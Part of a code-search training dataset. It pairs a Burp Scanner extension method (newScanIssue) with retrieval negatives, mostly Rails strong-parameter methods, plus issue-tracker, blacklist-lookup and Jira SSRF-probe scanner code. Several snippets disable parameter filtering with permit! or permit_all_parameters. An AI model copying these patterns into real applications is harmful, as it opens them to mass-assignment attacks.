"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def url_whitelist; end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] | [
"0.69792545",
"0.6781151",
"0.67419964",
"0.674013",
"0.6734356",
"0.6591046",
"0.6502396",
"0.6496313",
"0.6480641",
"0.6477825",
"0.64565",
"0.6438387",
"0.63791263",
"0.63740575",
"0.6364131",
"0.63192815",
"0.62991166",
"0.62978333",
"0.6292148",
"0.6290449",
"0.6290076",
"0.62894756",
"0.6283177",
"0.6242471",
"0.62382483",
"0.6217549",
"0.6214457",
"0.6209053",
"0.6193042",
"0.6177802",
"0.6174604",
"0.61714715",
"0.6161512",
"0.6151757",
"0.6150663",
"0.61461",
"0.61213595",
"0.611406",
"0.6106206",
"0.6105114",
"0.6089039",
"0.6081015",
"0.6071004",
"0.60620916",
"0.6019971",
"0.601788",
"0.6011056",
"0.6010898",
"0.6005122",
"0.6005122",
"0.6001556",
"0.6001049",
"0.59943926",
"0.5992201",
"0.59909594",
"0.5990628",
"0.5980841",
"0.59669393",
"0.59589154",
"0.5958826",
"0.5957911",
"0.5957385",
"0.5953072",
"0.59526145",
"0.5943361",
"0.59386164",
"0.59375334",
"0.59375334",
"0.5933856",
"0.59292704",
"0.59254247",
"0.5924164",
"0.59167904",
"0.59088355",
"0.5907542",
"0.59064597",
"0.5906243",
"0.5898226",
"0.589687",
"0.5896091",
"0.5894501",
"0.5894289",
"0.5891739",
"0.58860534",
"0.5882406",
"0.587974",
"0.58738774",
"0.5869024",
"0.58679986",
"0.5867561",
"0.5865932",
"0.5864461",
"0.58639693",
"0.58617616",
"0.5861436",
"0.5860451",
"0.58602303",
"0.5854586",
"0.58537364",
"0.5850427",
"0.5850199"
] | 0.0 | -1 |
This method is invoked whenever Burp Scanner discovers a new, unique issue. | def newScanIssue(issue)
event = {
'details' => issue.getIssueDetail,
'vulnerability' => issue.issueName,
'severity' => issue.severity,
'url' => issue.url.to_s,
'port' => issue.port,
'host' => issue.host
}
send_event(event)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def process_stale_issues\n handle_newly_stale_issues\n handle_stale_and_unmergable_prs\n end",
"def after_create(issue)\n user_agent_detail_service.create\n handle_add_related_issue(issue)\n resolve_discussions_with_issue(issue)\n create_escalation_status(issue)\n\n super\n end",
"def already_reported; end",
"def already_reported; end",
"def after_dispatch_to_default_hook(issue)\n end",
"def after_dispatch_to_default_hook(issue)\n end",
"def reload_issues!\n issues(true)\n end",
"def scan_for_issue message, hash, cookies, http\n\tif !$issue_regex.match(message)\n\t\tputs \"[Policy Violation] - No YouTrack issues found in commit message. Please amend git commit #{hash}.\"\n\t\tfixme_text hash\n\t\treturn ''\n\tend\n\tmessage.scan($issue_regex) do |m, issue|\n\t\tissue_url = \"/youtrack/rest/issue/#{issue}\"\n\t\trequest = Net::HTTP::Get.new(issue_url)\n\t\trequest['Cookie'] = cookies\n\t\tresponse = http.request(request)\n\t\tif response.code == '404'\n\t\t\tputs \"[Policy Violation] - Issue not found: ##{issue}. Please amend git commit #{hash}.\"\n\t\t\tfixme_text hash\n\t\t\treturn ''\n\t\telsif response.code == '200'\n\t\t\treturn issue \n\t\telse\n\t\t\tputs \"[Policy Violation] - Issue returns invalid HTTP response. Check your youtrack status.\"\n\t\t\treturn ''\n\t\tend\n\tend\nend",
"def handle_ack_msg( their_msg )\r\n begin\r\n if their_msg.startup_ack\r\n super\r\n send_next_case\r\n warn \"Started, shouldn't see this again...\" if self.class.debug\r\n return\r\n end\r\n if their_msg.result\r\n self.class.lookup[:results][their_msg.result]||=0\r\n self.class.lookup[:results][their_msg.result]+=1\r\n if their_msg.result=='crash' and their_msg.crashdetail\r\n crashdetail=their_msg.crashdetail\r\n self.class.lookup[:buckets][DetailParser.hash( crashdetail )]=true\r\n # You might want to clear this when outputting status info.\r\n self.class.queue[:bugs] << DetailParser.long_desc( crashdetail )\r\n # Just initials - NOT EXPLOITABLE -> NE etc\r\n classification=DetailParser.classification( crashdetail).split.map {|e| e[0]}.join\r\n self.class.lookup[:classifications][classification]||=0\r\n self.class.lookup[:classifications][classification]+=1\r\n end\r\n else\r\n # Don't cancel the ack timeout here - this is the first ack\r\n # We wait to get the full result, post delivery.\r\n super\r\n send_next_case\r\n end\r\n rescue\r\n raise RuntimeError, \"#{COMPONENT}: Unknown error. #{$!}\"\r\n end\r\n end",
"def issue(*)\n raise NotImplementedError, 'This should be defined in a subclass'\n end",
"def inspector_received_empty_report(_, inspector)\n UI.puts 'Found no similar issues. To create a new issue, please visit:'\n UI.puts \"https://github.com/#{inspector.repo_owner}/#{inspector.repo_name}/issues/new\"\n end",
"def create_issue\n logger.info \"Creating new issue in project #{project.jira_project}: #{pull_request.title}\"\n\n jira_issue = PuppetLabs::Jira::Issue.build(client, project)\n fields = PuppetLabs::Jira::Formatter.format_pull_request(pull_request)\n\n jira_issue.create(fields[:summary], fields[:description])\n link_issue(jira_issue)\n\n logger.info \"Created jira issue with webhook-id #{pull_request.identifier}\"\n rescue PuppetLabs::Jira::APIError => e\n logger.error \"Failed to save #{pull_request.title}: #{e.message}\"\n end",
"def reprocess_request_issues_update!(request_issue, request_issues_update, index)\n DecisionReviewProcessJob.perform_now(request_issues_update)\n @logs.push(\"#{Time.zone.now} ContentionNotFoundRemediation::Log - Number: #{index}\"\\\n \" RIU ID: #{request_issues_update.id}. RI ID: #{request_issue.id}. Reprocessing Request Issues Update.\")\n end",
"def after_recover\n end",
"def handle_backtrack\n\t\tend",
"def populate_issues_status(issue)\n @issues_status.push(IssueStatus.find_by_id(issue.status_id))\n end",
"def process_expn\n send_data \"502 Command not implemented\\r\\n\"\n end",
"def notifier; end",
"def notifier; end",
"def before_recover\n end",
"def notify_new_finding\n # TODO: make the method avoid the creation of a Notification record\n end",
"def process_fix\n super\n end",
"def hotfix_information\n super\n end",
"def initialize(jira, issue)\n @jira = jira\n @issue = issue\n end",
"def pull_request_hook\n unless request.request_parameters[:action] == 'opened'\n render(plain: 'Not a newly-opened PR. Uninterested.') && return\n end\n\n pull_request = params[:pull_request]\n\n SmokeDetector.send_message_to_charcoal(\"[PR##{pull_request[:number]}]\"\\\n \"(https://github.com/Charcoal-SE/SmokeDetector/pull/#{pull_request[:number]})\"\\\n \" (\\\"#{pull_request[:title]}\\\") opened by #{pull_request[:user][:login]}\")\n\n unless pull_request[:user][:login] == 'SmokeDetector'\n render(plain: 'Not from SmokeDetector. Uninterested.') && return\n end\n\n text = pull_request[:body]\n\n response_text = ''\n\n # Identify blacklist type and use appropriate search\n\n domains = text.scan(/<!-- METASMOKE-BLACKLIST-WEBSITE (.*?) -->/)\n\n domains.each do |domain|\n domain = domain[0]\n\n num_tps = Post.where('body REGEXP ?', domain).where(is_tp: true).count\n num_fps = Post.where('body REGEXP ?', domain).where(is_fp: true).count\n num_naa = Post.where('body REGEXP ?', domain).where(is_naa: true).count\n\n response_text += get_line domain, num_tps, num_fps, num_naa\n end\n\n keywords = text.scan(/<!-- METASMOKE-BLACKLIST-KEYWORD (.*?) -->/)\n\n keywords.each do |keyword|\n keyword = keyword[0]\n\n num_tps = Post.where('body REGEXP ?', keyword).where(is_tp: true).count\n num_fps = Post.where('body REGEXP ?', keyword).where(is_fp: true).count\n num_naa = Post.where('body REGEXP ?', keyword).where(is_naa: true).count\n\n response_text += get_line keyword, num_tps, num_fps, num_naa\n end\n\n usernames = text.scan(/<!-- METASMOKE-BLACKLIST-USERNAME (.*?) -->/)\n\n usernames.each do |username|\n username = username[0]\n\n num_tps = Post.where('username REGEXP ?', username).where(is_tp: true).count\n num_fps = Post.where('username REGEXP ?', username).where(is_fp: true).count\n num_naa = Post.where('username REGEXP ?', username).where(is_naa: true).count\n\n response_text += get_line username, num_tps, num_fps, num_naa\n end\n\n watches = text.scan(/<!-- METASMOKE-BLACKLIST-WATCH_KEYWORD (.*?) -->/)\n\n watches.each do |watch|\n watch = watch[0]\n\n num_tps = Post.where('body REGEXP ?', watch).where(is_tp: true).count\n num_fps = Post.where('body REGEXP ?', watch).where(is_fp: true).count\n num_naa = Post.where('body REGEXP ?', watch).where(is_naa: true).count\n\n response_text += get_line watch, num_tps, num_fps, num_naa\n end\n\n Octokit.add_comment 'Charcoal-SE/SmokeDetector', pull_request[:number], response_text\n\n render plain: response_text, status: 200\n end",
"def report_ready\n write_verbose_log(\"Notifier #{VERSION} ready to catch errors\", :info)\n end",
"def hijacked; end",
"def new_issue(title)\n result = YAML.load(RestClient.post(\"https://github.com/api/v2/yaml/issues/open/#{@repository}\", :login => @username,\n :token => @api_token, :title => title))\n result[\"issue\"][\"number\"]\n end",
"def report_issues_to_master( issues )\n @master.framework.register_issues( issues, master_priv_token ){}\n true\n end",
"def create\n @issue = @issuable.issues.new(params[:issue])\n\n respond_to do |format|\n if @issue.save\n track_activity(@issuable, 'open', nil, @issue)\n format.html { redirect_to [@issuable, @issue], notice: 'Issue was successfully created.' }\n format.json { render json: @issue, status: :created, location: @issue }\n else\n format.html { render layout: 'form', action: \"new\" }\n format.json { render json: @issue.errors, status: :unprocessable_entity }\n end\n end\n end",
"def notify_new_findings\n # TODO: make the method avoid the creation of a Notification record\n end",
"def after_resolution\n end",
"def receive_issue\n project = target_project\n # check permission\n unless handler_options[:no_permission_check]\n raise UnauthorizedAction unless user.allowed_to?(:add_issues, project)\n end\n\n issue = Issue.new(:author => user, :project => project)\n issue.safe_attributes = issue_attributes_from_keywords(issue)\n issue.safe_attributes = {'custom_field_values' => custom_field_values_from_keywords(issue)}\n issue.subject = cleaned_up_subject\n if issue.subject.blank?\n issue.subject = '(no subject)'\n end\n issue.description = cleaned_up_text_body\n issue.start_date ||= Date.today if Setting.default_issue_start_date_to_creation_date?\n issue.is_private = (handler_options[:issue][:is_private] == '1')\n\n # add To and Cc as watchers before saving so the watchers can reply to Redmine\n add_watchers(issue)\n issue.save!\n add_attachments(issue)\n logger.info \"MailHandler: issue ##{issue.id} created by #{user}\" if logger\n issue\n end",
"def report_ready\n self.logger.info \"Opbeat #{VERSION} ready to catch errors\"\n end",
"def fix_issue(issue, action)\n # the issue may have been updated by the closure of another one (eg. duplicate)\n issue.reload\n # don't change the status is the issue is closed\n return if issue.closed?\n\n journal = issue.init_journal(user || User.anonymous,\n ll(Setting.default_language,\n :text_status_changed_by_changeset,\n text_tag(issue.project)))\n rule = Setting.commit_update_keywords_array.detect do |rule|\n rule['keywords'].include?(action) &&\n (rule['if_tracker_id'].blank? || rule['if_tracker_id'] == issue.tracker_id.to_s)\n end\n if rule\n issue.assign_attributes rule.slice(*Issue.attribute_names)\n end\n Redmine::Hook.call_hook(:model_changeset_scan_commit_for_issue_ids_pre_issue_update,\n {:changeset => self, :issue => issue, :action => action})\n\n if issue.changes.any?\n unless issue.save\n logger.warn(\"Issue ##{issue.id} could not be saved by changeset #{id}: #{issue.errors.full_messages}\") if logger\n end\n else\n issue.clear_journal\n end\n issue\n end",
"def track_email_opens\n EmailOpenStat.create(:sent_to_id => params[:u] || params[:s],\n :email_id => params[:e],\n :ip_addr => request.remote_ip)\n rescue\n ensure\n clear_gif\n end",
"def addIssue(issue)\n @issues << issue if issue\n end",
"def start_reporting!\n return unless registered? && configured?\n\n self.behavior = :notify\n\n queue.start! do |e|\n unless self.reporter.has_access?\n warn \"couldn't access issues for #{self.config[:repo]}, check your configuration\"\n reset!\n end\n\n begin\n self.reporter.submit_issue!(e)\n rescue => e\n warn \"error submitting issue: #{e.class} #{e.message}\"\n reset!\n end\n end\n end",
"def get_issue_from_cover_page(cover_page)\r\n unless @login_success\r\n login\r\n end\r\n cover_image = cover_page.at(\".issue-image > img\")\r\n issue_id = id_from_href(cover_page.uri.path)\r\n issue = Issue.new(issue_id, \"The Economist\" ,cover_image['title'])\r\n issue.publisher = \"The Economist Newspaper Ltd.\"\r\n issue.cover_image = Image.new(cover_image['src'], \"cover.jpg\")\r\n\r\n puts \"Creating Kindle version of Issue \" + issue.to_s\r\n puts \"\"\r\n article_ids = []\r\n cover_page.search(\".section\").each do |s_element|\r\n section = Section.new(s_element.at(\"h4\").inner_html)\r\n s_element.search(\".article\").each do |a_element|\r\n link = a_element.at(\".node-link\")\r\n href = link[\"href\"]\r\n title = link.text\r\n article = Article.new(id_from_href(href), title, href)\r\n article_ids << id_from_href(href)\r\n section << article\r\n end\r\n issue << section\r\n end\r\n\r\n puts \"Downloading and processing articles:\"\r\n STDOUT.flush\r\n all_articles = issue.articles\r\n progress = ProgressBar.new(\"Downloading\", all_articles.length)\r\n all_articles.each_with_index do |article, done|\r\n\r\n article_page = @agent.get article.uri.to_s\r\n\r\n # get topic of article (its hard easier to extract than from the cover page)\r\n topic = article_page.at(\".fly-title\").text\r\n\r\n # the article abstract (curiously marked up as h1)\r\n if article_page.at(\"h1.rubric\")\r\n article.abstract = article_page.at(\".rubric\").text\r\n end\r\n\r\n # now the article content\r\n c_element = article_page.at(\".ec-article-content\")\r\n\r\n # lets get rid of the related items box\r\n c_element.search(\".related-items\").remove\r\n\r\n # lets get rid of the related items box\r\n c_element.search(\".related-expanded\").remove\r\n\r\n # replace links with local references\r\n c_element.search(\"a\").each do |a|\r\n if a['href'] && a['href'].start_with?(\"http://www.economist.com/node/\") &&\r\n article_ids.include?(id_from_href(a['href']))\r\n a[\"href\"] = a[\"href\"].gsub(\"http://www.economist.com/node/\", \"\") + \".html\"\r\n end\r\n end\r\n\r\n c_element.search(\"p\").each do |p|\r\n if p.children.first && p.children.first.name == \"strong\"\r\n p.swap(\"<h4>\"+p.children.first.text+\"</h4>\")\r\n end\r\n end\r\n\r\n # download the article images\r\n images = c_element.search(\"img\")\r\n images.each do |img|\r\n image = Image.new(img[\"src\"])\r\n img[\"src\"] = image.rel_path\r\n article.images << image\r\n end\r\n\r\n article.content = c_element.inner_html\r\n article.topic = topic if topic.strip != \"\"\r\n progress.inc\r\n end\r\n progress.finish\r\n puts ''\r\n issue\r\n end",
"def inspector_received_empty_report(report, inspector)\n puts \"Found no similar issues. To create a new issue, please visit:\"\n puts \"https://github.com/#{inspector.repo_owner}/#{inspector.repo_name}/issues/new\"\n print_open_link_hint(true)\n end",
"def run\n super\n\n # Get the IpAddress\n entity_name = _get_entity_name\n\n # Get talos Blacklist IP\n response = http_get_body(\"https://talosintelligence.com/documents/ip-blacklist\")\n\n if response.empty?\n _log_error(\"Got an empty response from the source URL!\")\n return\n end\n\n # Create an issue if an IP found in the Talos IP Blacklist\n if response.include? entity_name\n\n source = \"talosintelligence.com\"\n description = \"Cisco Talos Intelligence Group is one of the largest commercial threat\" +\n \" intelligence teams in the world, comprised of world-class researchers, analysts and\" +\n \" engineers. These teams are supported by unrivaled telemetry and sophisticated systems\" +\n \" to create accurate, rapid and actionable threat intelligence for Cisco customers.\"\n\n _create_linked_issue(\"suspicious_activity_detected\", {\n status: \"confirmed\",\n #description: \"This IP was found related to malicious activities in Talos Intelligence IP BlackList\",\n additional_description: description,\n source: source,\n proof: \"This IP was detected as suspicious in #{source}\",\n references: []\n })\n\n # Also store it on the entity\n blocked_list = @entity.get_detail(\"suspicious_activity_detected\") || []\n @entity.set_detail(\"suspicious_activity_detected\", blocked_list.concat([{source: source}]))\n\n end\n\n end",
"def ridicule_faultfully_prerevision()\n end",
"def recover_from(_error)\n end",
"def run\n super\n\n # first, ensure we're fingerprinted\n require_enrichment\n\n uri = _get_entity_name\n html = http_get_body(\"https://URL/plugins/servlet/oauth/users/icon-uri?consumerUri=https://www.whatismyip.com/\")\n \n if html =~ /<title>What Is My IP/ \n _create_linked_issue(\"atlassian_jira_oauth_plugin_ssrf\", {\n proof: {\n response_body: html\n }\n })\n end\n \n end",
"def build_issue\n @issue = Issue.new\n end",
"def run\n super\n\n entity_name = _get_entity_name\n entity_type = _get_entity_type_string\n\n api_key = _get_task_config(\"leak_lookup_api_key\")\n\n unless api_key\n _log_error \"Unable to proceed, no API key for Leak Lookup provided.\"\n return\n end\n\n if entity_type == \"EmailAddress\"\n leak_lookup_entity_type = \"email_address\"\n\n elsif entity_type == \"IpAddress\"\n leak_lookup_entity_type = \"ipaddress\"\n\n elsif entity_type == \"Domain\"\n leak_lookup_entity_type = \"domain\"\n end\n\n # Search info construction\n search_uri = \"https://leak-lookup.com/api/search\"\n params = { key: api_key, type: leak_lookup_entity_type, query: entity_name }\n headers = {\n \"Content-Type\" => \"application/x-www-form-urlencoded\"\n }\n\n # Make the request\n response = _get_json_response(search_uri, params, headers)\n\n if response[\"message\"] && response[\"error\"] == \"false\"\n\n if response[\"message\"].empty?\n _log \"No findings for the supplied entity.\"\n return\n end\n\n public_api_key_proof_message = \"No detailed breach data is shown when using public keys\"\n\n response[\"message\"].each do |result_key, result_value|\n\n _create_linked_issue(\"leaked_data\", {\n name: \"Entity found in Leak-Lookup (Public Breach Data)\",\n source: result_key,\n proof: result_value.empty? ? public_api_key_proof_message : result_value,\n references: [\n { type: \"description\", uri: \"https://leak-lookup.com\"}\n ]\n })\n end\n\n elsif response[\"error\"] == \"true\"\n _log_error \"The Leak Lookup API returned the following error: #{response['message']}\"\n end\n end",
"def custom_fingerprinting(event, ex)\n return event unless CUSTOM_FINGERPRINTING.include?(ex.class.name)\n\n event.fingerprint = [ex.class.name, ex.message]\n end",
"def process_inactive(issue)\n diff_in_months = (Time.now - issue.updated_at) / 60.0 / 60.0 / 24.0 / 30.0\n\n warning_sent = !!issue.labels.find { |a| a.name == AWAITING_REPLY }\n if warning_sent && diff_in_months > ISSUE_CLOSED\n # We sent off a warning, but we have to check if the user replied\n if last_responding_user(issue) == myself\n # No reply from the user, let's close the issue\n logger.info(\"https://github.com/#{SLUG}/issues/#{issue.number} (#{issue.title}) is #{diff_in_months.round(1)} months old, closing now\")\n body = []\n body << \"This issue will be auto-closed because there hasn't been any activity for a few months. Feel free to [open a new one](https://github.com/#{SLUG}/issues/new) if you still experience this problem :+1:\"\n client.add_comment(SLUG, issue.number, body.join(\"\\n\\n\"))\n client.close_issue(SLUG, issue.number)\n client.add_labels_to_an_issue(SLUG, issue.number, [AUTO_CLOSED])\n else\n # User replied, let's remove the label\n logger.info(\"https://github.com/#{SLUG}/issues/#{issue.number} (#{issue.title}) was replied to by a different user\")\n client.remove_label(SLUG, issue.number, AWAITING_REPLY)\n end\n smart_sleep\n elsif diff_in_months > ISSUE_WARNING\n return if issue.labels.find { |a| a.name == AWAITING_REPLY }\n\n logger.info(\"https://github.com/#{SLUG}/issues/#{issue.number} (#{issue.title}) is #{diff_in_months.round(1)} months old, pinging now\")\n body = []\n body << \"There hasn't been any activity on this issue recently. Due to the high number of incoming GitHub notifications, we have to clean some of the old issues, as many of them have already been resolved with the latest updates.\"\n body << \"Please make sure to update to the latest `fastlane` version and check if that solves the issue. Let us know if that works for you by adding a comment :+1:\"\n body << \"Friendly reminder: contributions are always welcome! Check out [CONTRIBUTING.md](https://github.com/fastlane/fastlane/blob/master/CONTRIBUTING.md) for more information on how to help with `fastlane` and feel free to tackle this issue yourself :muscle:\"\n body << \"\\n\\nThis issue will be auto-closed if there is no reply within #{months(ISSUE_CLOSED)}.\"\n\n client.add_comment(SLUG, issue.number, body.join(\"\\n\\n\"))\n client.add_labels_to_an_issue(SLUG, issue.number, [AWAITING_REPLY])\n smart_sleep\n end\n end",
"def inspector_successfully_received_report(report, inspector)\n report.issues[0..(NUMBER_OF_ISSUES_INLINE - 1)].each { |issue| print_issue_full(issue) }\n\n if report.issues.count > NUMBER_OF_ISSUES_INLINE\n report.url.sub!('\\'', '%27')\n puts(\"and #{report.total_results - NUMBER_OF_ISSUES_INLINE} more at: #{report.url}\")\n puts(\"\")\n end\n\n print_open_link_hint\n end",
"def process_vrfy\n send_data \"502 Command not implemented\\r\\n\"\n end",
"def regress\r\n raise \"You must implement this!\"\r\n end",
"def process_inactive(issue)\n diff_in_months = (Time.now - issue.updated_at) / 60.0 / 60.0 / 24.0 / 30.0\n\n warning_sent = !!issue.labels.find { |a| a.name == AWAITING_REPLY }\n if warning_sent && diff_in_months > ISSUE_CLOSED\n # We sent off a warning, but we have to check if the user replied\n if client.issue_comments(SLUG, issue.number).last.user.login == myself\n # No reply from the user, let's close the issue\n puts \"https://github.com/#{SLUG}/issues/#{issue.number} (#{issue.title}) is #{diff_in_months.round(1)} months old, closing now\"\n body = []\n body << \"This issue will be auto-closed because there hasn't been any activity for a few months. Feel free to [open a new one](https://github.com/bunto/bunto/issues/new) if you still experience this problem 👍\"\n client.add_comment(SLUG, issue.number, body.join(\"\\n\\n\"))\n client.close_issue(SLUG, issue.number)\n client.add_labels_to_an_issue(SLUG, issue.number, [AUTO_CLOSED])\n else\n # User replied, let's remove the label\n puts \"https://github.com/#{SLUG}/issues/#{issue.number} (#{issue.title}) was replied to by a different user\"\n client.remove_label(SLUG, issue.number, AWAITING_REPLY)\n end\n smart_sleep\n elsif diff_in_months > ISSUE_WARNING\n return if issue.labels.find { |a| a.name == AWAITING_REPLY }\n\n puts \"https://github.com/#{SLUG}/issues/#{issue.number} (#{issue.title}) is #{diff_in_months.round(1)} months old, pinging now\"\n body = []\n body << \"There hasn't been any activity on this issue recently. Due to the high number of incoming GitHub notifications, we have to clean some of the old issues, as many of them have already been resolved with the latest updates.\"\n body << \"Please make sure to update to the latest `bunto` version and check if that solves the issue. Let us know if that works for you by adding a comment :+1:\"\n\n client.add_comment(SLUG, issue.number, body.join(\"\\n\\n\"))\n client.add_labels_to_an_issue(SLUG, issue.number, [AWAITING_REPLY])\n smart_sleep\n end\n end",
"def diagnose\n mark_unreachable_symbols\n end",
"def initialize\n @broken = false\n end",
"def on_fetcher_call_error(event)\n fatal \"Fetcher crash due to an error: #{event[:error]}\"\n end",
"def add_from_github(issue_num)\n github_url = 'https://api.github.com/repos/acceptbitcoincash/acceptbitcoincash/issues'\n uri = URI(\"#{github_url}/#{issue_num}\")\n puts 'pulling issue from repository'\n issue = Net::HTTP.get(uri)\n issue = JSON.parse(issue)\n category = get_category(issue['labels'])\n request = SafeYAML.load(extract_issue_yml(issue['body']))[0]\n\n section, websites = read_yaml(category, 'websites')\n unless valid_to_ins(websites, request, 'name')\n puts 'Duplicate of entry, update functionality not yet available'\n return false\n end\n\n if request['img'].nil?\n request['img'] = value_prompt(\"image name for #{request['name']}\")\n elsif request['img'].include? 'http'\n puts \"Download the image from #{request['img']}\"\n request['img'] = value_prompt('image name')\n end\n puts \"Be sure you saved the logo to img/#{category}/#{request['img']}\" \\\n unless img_exists?(category, request['img'])\n\n section['websites'] = add_and_sort(websites, request, 'name')\n if valid_revision(section)\n write_yaml(category, section)\n true\n else\n puts 'Invalid entry, try changing the data before trying again.'\n false\n end\n end",
"def initialize( event_code )\r\n # badges data\r\n @event_code = event_code\r\n @count = 1\r\n end",
"def issue(issue_key)\n @tracker.getIssue(issue_key)\n end",
"def on_307; on_330; end",
"def process_closed_pull_request(pull_request)\n pr_name = pull_request['base']['repo']['full_name'].to_s\n pr_number = pull_request['number'].to_s\n pr_key = pr_name + \":\" + pr_number\n current_commit_hash = pull_request['head']['sha'].to_s\n\n # Delete the PR from the redis store\n @redis.del(pr_key)\n return 200\n end",
